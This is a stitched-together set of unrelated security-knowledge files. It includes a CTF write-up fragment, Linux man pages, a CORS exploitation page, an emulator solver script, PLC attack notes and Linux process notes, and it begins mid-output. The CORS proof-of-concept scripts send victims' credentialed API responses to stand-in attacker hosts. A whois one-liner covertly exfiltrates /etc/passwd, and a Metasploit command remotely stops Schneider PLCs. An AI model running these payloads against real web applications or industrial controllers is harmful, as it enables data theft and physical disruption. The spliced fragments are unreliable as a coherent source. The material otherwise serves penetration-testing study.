DHE-RSA-AES128-SHA [X] RSA-PSK-AES256-GCM-SHA384 [X] DHE-PSK-AES256-GCM-SHA384 [X] RSA-PSK-CHACHA20-POLY1305 [X] DHE-PSK-CHACHA20-POLY1305 [X] ECDHE-PSK-CHACHA20-POLY1305 [V] AES256-GCM-SHA384 [X] PSK-AES256-GCM-SHA384 [X] PSK-CHACHA20-POLY1305 [X] RSA-PSK-AES128-GCM-SHA256 [X] DHE-PSK-AES128-GCM-SHA256 [V] AES128-GCM-SHA256 [X] PSK-AES128-GCM-SHA256 [V] AES256-SHA256 [V] AES128-SHA256 [X] ECDHE-PSK-AES256-CBC-SHA384 [X] ECDHE-PSK-AES256-CBC-SHA [X] SRP-RSA-AES-256-CBC-SHA [X] SRP-AES-256-CBC-SHA [X] RSA-PSK-AES256-CBC-SHA384 [X] DHE-PSK-AES256-CBC-SHA384 [X] RSA-PSK-AES256-CBC-SHA [X] DHE-PSK-AES256-CBC-SHA [V] AES256-SHA [X] PSK-AES256-CBC-SHA384 [X] PSK-AES256-CBC-SHA [X] ECDHE-PSK-AES128-CBC-SHA256 [X] ECDHE-PSK-AES128-CBC-SHA [X] SRP-RSA-AES-128-CBC-SHA [X] SRP-AES-128-CBC-SHA [X] RSA-PSK-AES128-CBC-SHA256 [X] DHE-PSK-AES128-CBC-SHA256 [X] RSA-PSK-AES128-CBC-SHA [X] DHE-PSK-AES128-CBC-SHA [V] AES128-SHA [X] PSK-AES128-CBC-SHA256 [X] PSK-AES128-CBC-SHA BSidesTLV{cyp???????1mp??tan?????%)* ``` It looks like many weak ciphers were removed from OpenSSL and in order to use them, there is need to recompile the program with a special flag. Luckily, WSL defaults to an outdated OpenSSL version with all needed ciphers: ```console $ python3 solve.py [V] ECDHE-RSA-AES256-GCM-SHA384 [X] ECDHE-ECDSA-AES256-GCM-SHA384 [V] ECDHE-RSA-AES256-SHA384 [X] ECDHE-ECDSA-AES256-SHA384 [V] ECDHE-RSA-AES256-SHA [X] ECDHE-ECDSA-AES256-SHA [X] SRP-DSS-AES-256-CBC-SHA [X] SRP-RSA-AES-256-CBC-SHA [X] SRP-AES-256-CBC-SHA [X] DH-DSS-AES256-GCM-SHA384 [X] DHE-DSS-AES256-GCM-SHA384 [X] DH-RSA-AES256-GCM-SHA384 [V] DHE-RSA-AES256-GCM-SHA384 [V] DHE-RSA-AES256-SHA256 [X] DHE-DSS-AES256-SHA256 [X] DH-RSA-AES256-SHA256 [X] DH-DSS-AES256-SHA256 [V] DHE-RSA-AES256-SHA [X] DHE-DSS-AES256-SHA [X] DH-RSA-AES256-SHA [X] DH-DSS-AES256-SHA [V] DHE-RSA-CAMELLIA256-SHA [X] DHE-DSS-CAMELLIA256-SHA [X] DH-RSA-CAMELLIA256-SHA [X] DH-DSS-CAMELLIA256-SHA [X] ECDH-RSA-AES256-GCM-SHA384 [X] ECDH-ECDSA-AES256-GCM-SHA384 [X] ECDH-RSA-AES256-SHA384 [X] ECDH-ECDSA-AES256-SHA384 [X] ECDH-RSA-AES256-SHA [X] ECDH-ECDSA-AES256-SHA [V] AES256-GCM-SHA384 [V] AES256-SHA256 [V] AES256-SHA [V] CAMELLIA256-SHA [X] PSK-AES256-CBC-SHA [V] ECDHE-RSA-AES128-GCM-SHA256 [X] ECDHE-ECDSA-AES128-GCM-SHA256 [V] ECDHE-RSA-AES128-SHA256 [X] ECDHE-ECDSA-AES128-SHA256 [V] ECDHE-RSA-AES128-SHA [X] ECDHE-ECDSA-AES128-SHA [X] SRP-DSS-AES-128-CBC-SHA [X] SRP-RSA-AES-128-CBC-SHA [X] SRP-AES-128-CBC-SHA [X] DH-DSS-AES128-GCM-SHA256 [X] DHE-DSS-AES128-GCM-SHA256 [X] DH-RSA-AES128-GCM-SHA256 [V] DHE-RSA-AES128-GCM-SHA256 [V] DHE-RSA-AES128-SHA256 [X] DHE-DSS-AES128-SHA256 [X] DH-RSA-AES128-SHA256 [X] DH-DSS-AES128-SHA256 [V] DHE-RSA-AES128-SHA [X] DHE-DSS-AES128-SHA [X] DH-RSA-AES128-SHA [X] DH-DSS-AES128-SHA Warning: The following response did not match the regex: b'The Flag is: BSidesTLV{' [X] DHE-RSA-SEED-SHA [X] DHE-DSS-SEED-SHA [X] DH-RSA-SEED-SHA [X] DH-DSS-SEED-SHA [V] DHE-RSA-CAMELLIA128-SHA [X] DHE-DSS-CAMELLIA128-SHA [X] DH-RSA-CAMELLIA128-SHA [X] DH-DSS-CAMELLIA128-SHA [X] ECDH-RSA-AES128-GCM-SHA256 [X] ECDH-ECDSA-AES128-GCM-SHA256 [X] ECDH-RSA-AES128-SHA256 [X] ECDH-ECDSA-AES128-SHA256 [X] ECDH-RSA-AES128-SHA [X] ECDH-ECDSA-AES128-SHA [V] AES128-GCM-SHA256 [V] AES128-SHA256 [V] AES128-SHA Warning: The following response did not match the regex: b'The Flag is: BSidesTLV{' [X] SEED-SHA [V] CAMELLIA128-SHA [X] PSK-AES128-CBC-SHA [V] ECDHE-RSA-RC4-SHA [X] ECDHE-ECDSA-RC4-SHA [X] ECDH-RSA-RC4-SHA [X] ECDH-ECDSA-RC4-SHA [V] RC4-SHA [V] RC4-MD5 [X] PSK-RC4-SHA [V] ECDHE-RSA-DES-CBC3-SHA [X] ECDHE-ECDSA-DES-CBC3-SHA [X] SRP-DSS-3DES-EDE-CBC-SHA [X] SRP-RSA-3DES-EDE-CBC-SHA [X] SRP-3DES-EDE-CBC-SHA [V] EDH-RSA-DES-CBC3-SHA [X] EDH-DSS-DES-CBC3-SHA [X] DH-RSA-DES-CBC3-SHA [X] DH-DSS-DES-CBC3-SHA [X] ECDH-RSA-DES-CBC3-SHA [X] ECDH-ECDSA-DES-CBC3-SHA [V] DES-CBC3-SHA [X] PSK-3DES-EDE-CBC-SHA BSidesTLV{cypheR54r31mp0rtanN7!@$%)*+[} ``` Note: The challenge name is `somestufflsimportant` (with `LS Important`) as a hint for **S**ome**S**tuff**L**s (`SSL`).
sec-knowleage
aptitude === Debian Linux系统中软件包管理工具 ## 补充说明 **aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 ### 语法 ```shell aptitude(选项)(参数) ``` ### 选项 ```shell -h:显示帮助信息; -d:仅下载软件包,不执行安装操作; -P:每一步操作都要求确认; -y:所有问题都回答“yes”; -v:显示附加信息; -u:启动时下载新的软件包列表。 ``` ### 参数 操作命令:用户管理软件包的操作命令。 ### 实例 以下是我总结的一些常用aptitude命令,仅供参考: ```shell aptitude update # 更新可用的包列表 aptitude upgrade # 升级可用的包 aptitude dist-upgrade # 将系统升级到新的发行版 aptitude install pkgname # 安装包 aptitude remove pkgname # 删除包 aptitude purge pkgname # 删除包及其配置文件 aptitude search string # 搜索包 aptitude show pkgname # 显示包的详细信息 aptitude clean # 删除下载的包文件 aptitude autoclean # 仅删除过期的包文件 ``` 当然,你也可以在文本界面模式中使用 aptitude。
sec-knowleage
# CORS Misconfiguration > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. ## Summary * [Tools](#tools) * [Prerequisites](#prerequisites) * [Exploitation](#exploitation) * [References](#references) ## Tools * [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/) * [chenjj/CORScanner - Fast CORS misconfiguration vulnerabilities scanner](https://github.com/chenjj/CORScanner) * [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html) * [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors) ## Prerequisites * BURP HEADER> `Origin: https://evil.com` * VICTIM HEADER> `Access-Control-Allow-Credential: true` * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null` ## Exploitation Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`. ### Vulnerable Example: Origin Reflection #### Vulnerable Implementation ```powershell GET /endpoint HTTP/1.1 Host: victim.example.com Origin: https://evil.com Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true {"[private API key]"} ``` #### Proof of concept This PoC requires that the respective JS script is hosted at `evil.com` ```js var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//atttacker.net/log?key='+this.responseText; }; ``` or ```html <html> <body> <h2>CORS PoC</h2> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhr.open("GET", "https://victim.example.com/endpoint", true); xhr.withCredentials = true; xhr.send(); } </script> </body> </html> ``` ### Vulnerable Example: Null Origin #### Vulnerable Implementation It's possible that the server does not reflect the complete `Origin` header but that the `null` origin is allowed. This would look like this in the server's response: ``` GET /endpoint HTTP/1.1 Host: victim.example.com Origin: null Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true {"[private API key]"} ``` #### Proof of concept This can be exploited by putting the attack code into an iframe using the data URI scheme. If the data URI scheme is used, the browser will use the `null` origin in the request: ```html <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe> ``` ### Vulnerable Example: XSS on Trusted Origin If the application does implement a strict whitelist of allowed origins, the exploit codes from above do not work. But if you have an XSS on a trusted origin, you can inject the exploit coded from above in order to exploit CORS again. ``` https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script> ``` ### Vulnerable Example: Wildcard Origin `*` without Credentials If the server responds with a wildcard origin `*`, **the browser does never send the cookies**. However, if the server does not require authentication, it's still possible to access the data on the server. This can happen on internal servers that are not accessible from the Internet. The attacker's website can then pivot into the internal network and access the server's data without authentication. ```powershell * is the only wildcard origin https://*.example.com is not valid ``` #### Vulnerable Implementation ```powershell GET /endpoint HTTP/1.1 Host: api.internal.example.com Origin: https://evil.com HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"[private API key]"} ``` #### Proof of concept ```js var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.internal.example.com/endpoint',true); req.send(); function reqListener() { location='//atttacker.net/log?key='+this.responseText; }; ``` ### Vulnerable Example: Expanding the Origin / Regex Issues Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header. #### Vulnerable Implementation (Example 1) In this scenario any prefix inserted in front of `example.com` will be accepted by the server. ``` GET /endpoint HTTP/1.1 Host: api.example.com Origin: https://evilexample.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evilexample.com Access-Control-Allow-Credentials: true {"[private API key]"} ``` #### Proof of concept (Example 1) This PoC requires the respective JS script to be hosted at `evilexample.com` ```js var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//atttacker.net/log?key='+this.responseText; }; ``` #### Vulnerable Implementation (Example 2) In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain. ``` GET /endpoint HTTP/1.1 Host: api.example.com Origin: https://apiiexample.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://apiiexample.com Access-Control-Allow-Credentials: true {"[private API key]"} ``` #### Proof of concept (Example 2) This PoC requires the respective JS script to be hosted at `apiiexample.com` ```js var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//atttacker.net/log?key='+this.responseText; }; ``` ## Labs * [CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack) * [CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack) * [CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack) * [CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) ## Bug Bounty reports * [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574) * [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147) * [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200) * [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249) * [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298) ## References * [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) * [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) * [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) * [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/) * [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors) * [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
sec-knowleage
import struct, string, sys s = open("code", "rb").read() s=s[4:] al = string.uppercase instructions = [] for i in range(len(s)/16): tp, reg, n1, n2 = struct.unpack("<IIII", s[i*16:i*16+16]) instructions.append((tp, reg, n1, n2)) for i, ins in enumerate(instructions): tp, reg, n1, n2 = ins print "%02d:" % i, if tp == 0: print "r"+al[reg]+"++; jmp %02d;"%n1 elif tp == 1: print "if (r"+al[reg]+"!=0){ r"+al[reg]+"--; jmp %02d"%n1+";} else jmp %02d;"%n2 else: print "fork @ %02d"%n1+"; copy up to r"+al[reg]+"; jmp %02d;"%n2 regs = [0]*26 regs[0] = int(sys.argv[1]) count = [0]*120 def fibmod(n, m): if n<=1: return n%m a = 0 b = 1 for i in range(n): c = (a+b)%m a=b b=c return a def collatz(n): if n % 2 == 0: return n/2 else: return 3*n+1 remc=[-1 for i in range(10000)] remc[0]=0 remc[1]=0 def collatzcnt(n): if n>=len(remc): return 1+collatzcnt(collatz(n)) while remc[n]==-1: remc[n] = 1+collatzcnt(collatz(n)) return remc[n] for i in range(10000): collatzcnt(i) print "preproc" rem=[0] def sumcollatzcnt(n): if n<=len(rem): return rem[n] s = rem[-1] for i in range(len(rem)+1, n+1): s += collatzcnt(i) rem.append(s) return s def run(regs, pc): while pc!=len(instructions): count[pc]+=1 # peephole if pc == 116: regs[0] = regs[1] break elif pc==113: regs[0] = max(0, regs[1]-regs[2]) break elif pc==108: if regs[2]>regs[1]: regs[0] = 1 else: regs[0] = 0 break elif pc==99: regs[0] = regs[1] % regs[2] break elif pc ==84: regs[0] = regs[1] break elif pc == 92: regs[0]=regs[2]/2 regs[1]=regs[2]%2; break elif pc == 45: regs[0] = collatz(regs[1]) break elif pc == 64: regs[0] = fibmod(regs[1], regs[2]) break elif pc == 29: regs[0] = collatzcnt(regs[1]) break elif pc == 20: regs[0] = sumcollatzcnt(regs[1]) break elif pc == 0: a = regs[0] if a<11: regs[0] = 0 else: s = sumcollatzcnt(a) print hex(s) regs[0] = fibmod(a, s) break ins = instructions[pc] tp, reg, n1, n2 = ins if tp==0: regs[reg]+=1 pc = n1 elif tp==1: if regs[reg]: regs[reg] -= 1 if pc == n1: regs[reg] = 0 pc = n1 else: pc = n2 else: childregs = regs[:] run(childregs, n1) for i in range(reg): regs[i] = childregs[i] pc = n2 run(regs, 0) for i, c in enumerate(count): print i, c print hex(regs[0])
sec-knowleage
management: endpoints: web: exposure: include: "*" spring: cloud: gateway: routes: - id: index uri: http://example.com predicates: - Method=GET
sec-knowleage
# T1586-002-盗取账户-电子邮箱账户 ## 来自ATT&CK的描述 攻击者可能会盗用可在攻击目标过程中使用的电子邮件账户。攻击者可以使用被盗用的电子邮件账户来推进他们的行动,例如利用它们来进行信息钓鱼或网络钓鱼。如果潜在的受害者与被攻击的角色有关系,或者知道被攻击的角色,那么利用现有的角色与被攻击的电子邮件账户可能会使他们产生一定程度的信任。被入侵的电子邮件账户也可用于获取基础设施(例如:域名)。 盗取电子邮件账户的方法有很多,例如通过钓鱼网站收集信息,从第三方网站购买证书,或通过暴力破解(例如:从违规凭据转储中重用密码,简单理解:撞库)。在盗取电子邮件账户之前,攻击者可能会进行侦察,以决定破坏哪些账户来推进其行动。 攻击者可以利用被入侵的电子邮件账户,来劫持与感兴趣的目标的现有电子邮件线程。 ## 测试案例 很好理解,这里不做任何案例说明。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 大部分此类活动将在目标组织的可见性之外进行,因此很难检测到这种行为。检测工作可能集中在攻击生命周期的相关阶段,例如在初始访问期间(例如:网络钓鱼)。 ## 参考推荐 MITRE-ATT&CK-T1586-002 <https://attack.mitre.org/techniques/T1586/002/>
sec-knowleage
利用whois传输文件: 传输机: ```bash root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64` ``` 接受机: ```bash root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d ``` ![](media/cd6ba6694ef1388b87dc4a5ce706ecd8.jpg) ![](media/2ee55e5bed9e117f9340df1f2e755410.jpg) **优点:**适用于隐蔽传输。最小化被发现。 **缺点:**适用于传输小文件。 > 后者的话:whois是否同样适用于payload的反弹,是一个非常有趣的实验。 > > Micropoor
sec-knowleage
znew === 将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 ## 补充说明 **znew命令** 用于将使用compress命令压缩的“.Z”压缩包重新转化为使用gzip命令压缩的“.gz”压缩包。 ### 语法 ```shell znew(选项)(参数) ``` ### 选项 ```shell -f:# 强制执行转换操作,即是目标“.gz”已经存在; -t:# 删除原文件前测试新文件; -v:# 显示文件名和每个文件的压缩比; -9:# 使用最高压缩率,速度较慢; -P:# 使用管道完成转换操作,以降低磁盘空间使用; -K:# 当“.Z”文件比“.gz”文件小时,保留“.Z”文件。 ``` ### 参数 文件:指定compress指令压缩生成的“.Z”压缩包。
sec-knowleage
# PLC攻击 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **PLC的概念** PLC 控制系统(Programmable Logic Controller,可编程逻辑控制器),专为工业生产设计的一种数字运算操作的电子装置,它采用一类可编程的存储器,用于其内部存储程序,执行逻辑运算,顺序控制,定时,计数与算术操作等面向用户的指令,并通过数字或模拟式输入/输出控制各种类型的机械或生产过程。是工业控制的核心部分。简要的说,PLC 就是一部小型的工业电脑。 PLC 的关键技术在于其内部固化了一个能解释梯形图语言的程序及辅助通讯程序,实际上,设计一台 PLC 的主要工作就是开发解释梯形图语言的程序。 **PLC的使用介绍** - [西门子S7-300教程 第1章](https://wenku.baidu.com/view/eb015e01b52acfc789ebc9cd) - [西门子S7-300教程 第2章](https://wenku.baidu.com/view/86d25c104431b90d6c85c7cf.html) - [西门子S7-300教程 第3章](https://wenku.baidu.com/view/9e1e454f852458fb770b56c9) **相关文章** - [从0~1学习PLC攻击](https://www.freebuf.com/column/238349.html) - 复现 DCCE MAC1100 PLC 任意程序覆盖漏洞 - [工控安全-初识西门子PLC~S7-200](https://www.freebuf.com/column/202499.html) - [PLC编程与应用入门——(一)](https://www.freebuf.com/column/206084.html) - [工控安全 | 西门子S7-300攻击分析](https://www.freebuf.com/articles/ics-articles/228770.html) - [工控安全:S7-1200 PLC远程启停攻击实验](https://www.key1.top/index.php/archives/469/) - [西门子S7通信过程及重放攻击分析](https://www.freebuf.com/articles/ics-articles/212283.html) - [【工控安全】大工PLC-远程启停攻击实验](https://mp.weixin.qq.com/s/k9tSpQaaeJ7QKSa9cb_bWg) - [当PLC偶遇老旧但不乏经典的高级组包工具Hping3](https://www.freebuf.com/vuls/230453.html) - [PLC攻击类型研究分析](https://www.freebuf.com/articles/ics-articles/238351.html) - [博智工控漏洞挖掘平台实战-西门子PLC漏洞挖掘](https://mp.weixin.qq.com/s/DTxqFzwlTN9OQgHGfp705g) **漏洞利用框架** - [dark-lbp/isf](https://github.com/dark-lbp/isf) - 基于 Python 开发的工控方面漏洞利用框架,类似 MetaSploit **设备解密** - [管中窥豹之工控设备解密](https://www.freebuf.com/articles/ics-articles/240727.html) --- ## 仿真搭建 ### Siemens **相关文章** - [西门子PLC的网络仿真搭建方法探讨](https://www.freebuf.com/articles/ics-articles/236250.html) **仿真工具** 目前西门子 PLC 主要使用的软件包括 STEP7-Micro/WIN SMART、SIMATIC STEP7 以及 TIA Portal。TIA Portal 已经完全兼容 STEP 7,因此以后应该是 STEP 7-MicroWIN SMART 作为小型 PLC 的编程软件。 - [Snap7 Homepage](http://snap7.sourceforge.net/) - 一款开源的 32/64 位多平台以太网通信套件,用于与西门子 S7 PLC 进行本地连接。 **实验记录** - [siemens仿真搭建实验](./实验/siemens仿真搭建实验.md) - [S7-300启停实验](./实验/S7-300启停实验.md) --- ### OpenPLC **介绍** OpenPLC 是一个基于易于使用软件的开源可编程逻辑控制器。OpenPLC 项目是根据 IEC 61131-3 标准创建的,该标准定义了 PLC 的基本软件架构和编程语言。 **官网** - https://www.openplcproject.com/ **相关文章** - [一款可自定义多用途PLC设备的可用性分析](https://www.freebuf.com/articles/ics-articles/213018.html) - [OPENPLC ON WINDOWS](https://www.openplcproject.com/runtime/windows/) - [CREATING YOUR FIRST PROJECT](https://www.openplcproject.com/reference/basics/first-project.html) - [UPLOADING YOUR PROJECT TO OPENPLC](https://www.openplcproject.com/reference/basics/upload) - [ㄆㄜ ㄊㄧㄡ ㄙˋ: OpenPLC 初體驗 /00/ - OpenPLC Project 簡介](https://ruten-proteus.blogspot.com/2020/10/openplc-00-introduction.html) **实验记录** - [OpenPLC环境搭建](./实验/OpenPLC环境搭建.md) --- ### Modbus **相关文章** - [Modbus PLC攻击分析:从Modbus PollSlave到M340](https://www.freebuf.com/ics-articles/234845.html) - [Modbus测试工具ModbusPoll与Modbus Slave使用方法](https://www.cnblogs.com/xiaosong0206/p/11088726.html) **仿真工具** - [modbustools](https://www.modbustools.com/download.html) **实验记录** - [Modbus仿真环境搭建](./实验/Modbus仿真环境搭建.md) --- ### Schneider **相关文章** - [施耐德PLC漏洞历险记](https://www.freebuf.com/articles/ics-articles/234714.html) - [施耐德PLC认证绕过漏洞分析](https://mp.weixin.qq.com/s/ksK05gpXO57QMRPfztQ4_A) **Schneider Modicon Remote START/STOP Command** ```bash use auxiliary/admin/scada/modicon_command set MODE STOP run ``` --- ## PLC inject **介绍** PLC inject 可以通过公网 PLC 访问到深层次的工业网络。可以实现的方法就是将 PLC 变成网关,这种方法在缺乏适当的防护功能的 PLC 上是可行的。技术娴熟的攻击者拥有某一个 PLC 的访问权限时,可以往上面上传或者下载代码,只要 PLC 设备支持对应的编码格式。而且代码被上传到 PLC 中后,就有很难被发现的特点,因为它不会中断程序的运行。当恶意代码被注入到 PLC 中后,会增加 PLC 中的代码量,如果我们定时观测原有代码和注入恶意代码后的程序,这两者的运行效果有明显的差异,然而其对生产过程的影响微乎其微。除非管理者主动监听从 PLC 中发出的恶意访问流量,否则很难在生产过程中发现。 **攻击过程** 攻击者注入代码后,它会与 PLC 上的正常代码一起运行;对本地网络进行扫描,同时攻击者可以从 PLC 中下载扫描结果,之后在注入一个 socks 代理,攻击者可以通过通过充当代理的 PLC 访问本地网络内的所有 PLC。 **相关文章/资源** - [关于PLC安全的一次实验](https://www.freebuf.com/articles/ics-articles/233938.html) - [Black Hat USA 2015 - Internet Facing PLCs A New Back Orifice](https://www.youtube.com/watch?v=FN_8lASQhrs) **相关工具** - [SCADACS/PLCinject](https://github.com/SCADACS/PLCinject)
sec-knowleage
### [第五十一课:项目回忆:体系的本质是知识点串联](../Chapter1/51_项目回忆:体系的本质是知识点串联.md) ### [第五十二课:渗透的本质是信息搜集](../Chapter1/52_渗透的本质是信息搜集.md) ### [第五十三课:内网渗透中的文件传输](../Chapter1/53_内网渗透中的文件传输.md) ### [第五十四课:基于Powershell做Socks 4-5代理](../Chapter1/54_基于Powershell做Socks4-5代理.md) ### [第五十五课:与Smbmap结合攻击](../Chapter1/55_与Smbmap结合攻击.md) ### [第五十六课:离线提取目标机hash](../Chapter1/56_离线提取目标机hash.md) ### [第五十七课:高级持续渗透-第一季关于后门](../Chapter1/57_高级持续渗透-第一季关于后门.md) ### [第五十八课:高级持续渗透-第二季关于后门补充一](../Chapter1/58_高级持续渗透-第二季关于后门补充一.md) ### [第五十九课:高级持续渗透-第三季关于后门补充二](../Chapter1/59_高级持续渗透-第三季关于后门补充二.md) ### [第六十课:高级持续渗透-第四季关于后门](../Chapter1/60_高级持续渗透-第四季关于后门.md)
sec-knowleage
# 进程 > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 --- <p align="center"> <a href="http://turnoff.us/geek/zombie-processes/"><img src="../../../../assets/img/banner/进程.png" width="70%"></a> </p> --- ## 基础 ### 线程和进程的关系 多进程和多线程都是并发,都可以提高处理器的利用效率,但在 Linux 系统中,进程和线程几乎没有区别。 编译好的可执行程序只是一个文件,不是进程,可执行文件必须要载入内存,包装成一个进程才能真正跑起来。进程是要依靠操作系统创建的,每个进程都有它的固有属性,比如进程号(PID)、进程状态、打开的文件等等,进程创建好之后,读入你的程序,你的程序才被系统执行。 对于操作系统,进程就是一个数据结构. 从 Linux 内核的角度来看,并没有把线程和进程区别对待。系统调用 `fork()` 可以新建一个子进程,函数 `pthread()` 可以新建一个线程。但无论线程还是进程,都是用 task_struct 结构表示的,唯一的区别就是共享的数据区域不同。 换句话说,线程看起来跟进程没有区别,只是线程的某些数据区域和其父进程是共享的,而子进程是拷贝副本,而不是共享。 所以说,我们的多线程程序要利用锁机制,避免多个线程同时往同一区域写入数据,否则可能造成数据错乱。 那么你可能问,既然进程和线程差不多,而且多进程数据不共享,即不存在数据错乱的问题,为什么多线程的使用比多进程普遍得多呢? 因为现实中数据共享的并发更普遍呀,比如十个人同时从一个账户取十元,我们希望的是这个共享账户的余额正确减少一百元,而不是希望每人获得一个账户的拷贝,每个拷贝账户减少十元。 ### 文件描述符 ```c++ struct task_struct { // 进程状态 long state; // 虚拟内存结构体 struct mm_struct *mm; // 进程号 pid_t pid; // 指向父进程的指针 struct task_struct __rcu *parent; // 子进程列表 struct list_head children; // 存放文件系统信息的指针 struct fs_struct *fs; // 一个数组,包含该进程打开的文件指针 struct files_struct *files; }; ``` task_struct 就是 Linux 内核对于一个进程的描述,也可以称为「进程描述符」。 其中比较有意思的是 mm 指针和 files 指针。mm 指向的是进程的虚拟内存,也就是载入资源和可执行文件的地方;files 指针指向一个数组,这个数组里装着所有该进程打开的文件的指针。 一般来说,一个进程会从 `files[0]` 读取输入,将输出写入 `files[1]`,将错误信息写入 `files[2]`。 举个例子,以我们的角度 C 语言的 printf 函数是向命令行打印字符,但是从进程的角度来看,就是向 `files[1]` 写入数据;同理,scanf 函数就是进程试图从 `files[0]` 这个文件中读取数据。 每个进程被创建时,files 的前三位被填入默认值,分别指向标准输入流、标准输出流、标准错误流。我们常说的「文件描述符」就是指这个文件指针数组的索引,所以程序的文件描述符默认情况下 0 是输入,1 是输出,2 是错误。 对于一般的计算机,输入流是键盘,输出流是显示器,错误流也是显示器,所以现在这个进程和内核连了三根线。因为硬件都是由内核管理的,我们的进程需要通过「系统调用」让内核进程访问硬件资源。 如果我们写的程序需要其他资源,比如打开一个文件进行读写,这也很简单,进行系统调用,让内核把文件打开,这个文件就会被放到 files 的第 4 个位置: 明白了这个原理,输入重定向就很好理解了,程序想读取数据的时候就会去 `files[0]` 读取,所以我们只要把 `files[0]` 指向一个文件,那么程序就会从这个文件中读取数据,而不是从键盘: ```bash command < file.txt ``` 同理,输出重定向就是把 `files[1]` 指向一个文件,那么程序的输出就不会写入到显示器,而是写入到这个文件中: ```bash command > file.txt ``` 错误重定向也是一样的,就不再赘述。 管道符其实也是异曲同工,把一个进程的输出流和另一个进程的输入流接起一条「管道」,数据就在其中传递: ```bash cmd1 | cmd2 | cmd3 ``` 不管是设备、另一个进程、socket 套接字还是真正的文件,全部都可以读写,统一装进一个简单的 files 数组,进程通过简单的文件描述符访问相应资源,具体细节交于操作系统 ### 孤儿进程 一个父进程退出,而它的一个或多个子进程还在运行,那么这些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1)所收养,并由 init 进程对它们完成状态收集工作。 由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。 init 进程就好像是一个民政局,专门负责处理孤儿进程的善后工作。每当出现一个孤儿进程的时候,内核就把孤 儿进程的父进程设置为 init,而 init 进程会循环地 `wait()` 它的已经退出的子进程。这样,当一个孤儿进程凄凉地结束了其生命周期的时候,init 